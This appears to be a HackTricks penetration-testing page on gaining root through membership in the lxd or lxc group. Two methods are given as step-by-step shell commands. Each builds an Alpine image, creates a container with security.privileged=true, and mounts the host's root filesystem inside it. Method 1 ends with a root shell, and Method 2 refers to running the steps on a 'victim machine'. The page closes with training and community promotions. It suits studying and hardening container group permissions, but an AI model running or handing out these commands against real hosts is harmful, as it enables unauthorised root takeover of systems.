lxd/lxc Group - Privilege escalation - HackTricks

# lxd/lxc Group - Privilege escalation

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If you belong to lxd or lxc group, you can become root

## Exploiting without internet

### Method 1

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):

    sudo su
    # Install requirements
    sudo apt update
    sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools

    # Clone repo
    git clone https://github.com/lxc/distrobuilder

    # Make distrobuilder
    cd distrobuilder
    make

    # Prepare the creation of alpine
    mkdir -p $HOME/ContainerImages/alpine/
    cd $HOME/ContainerImages/alpine/
    wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

    # Create the container
    ## Using build-lxd
    sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
    ## Using build-lxc
    sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18

Upload the files lxd.tar.xz and rootfs.squashfs, add the image to the repo and create a container:

    lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

    # Check the image is there
    lxc image list

    # Create the container
    lxc init alpine privesc -c security.privileged=true

    # List containers
    lxc list

    lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

> [!CAUTION] If you find this error Error: No storage pool found. Please create a new storage pool
> Run `lxd init` and repeat the previous chunk of commands

Finally you can execute the container and get root:

    lxc start privesc
    lxc exec privesc /bin/sh
    [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

### Method 2

Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.

    # build a simple alpine image
    git clone https://github.com/saghul/lxd-alpine-builder
    cd lxd-alpine-builder
    sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
    sudo ./build-alpine -a i686

    # import the image
    lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

    # before running the image, start and configure the lxd storage pool as default
    lxd init

    # run the image
    lxc init myimage mycontainer -c security.privileged=true

    # mount the /root into the image
    lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.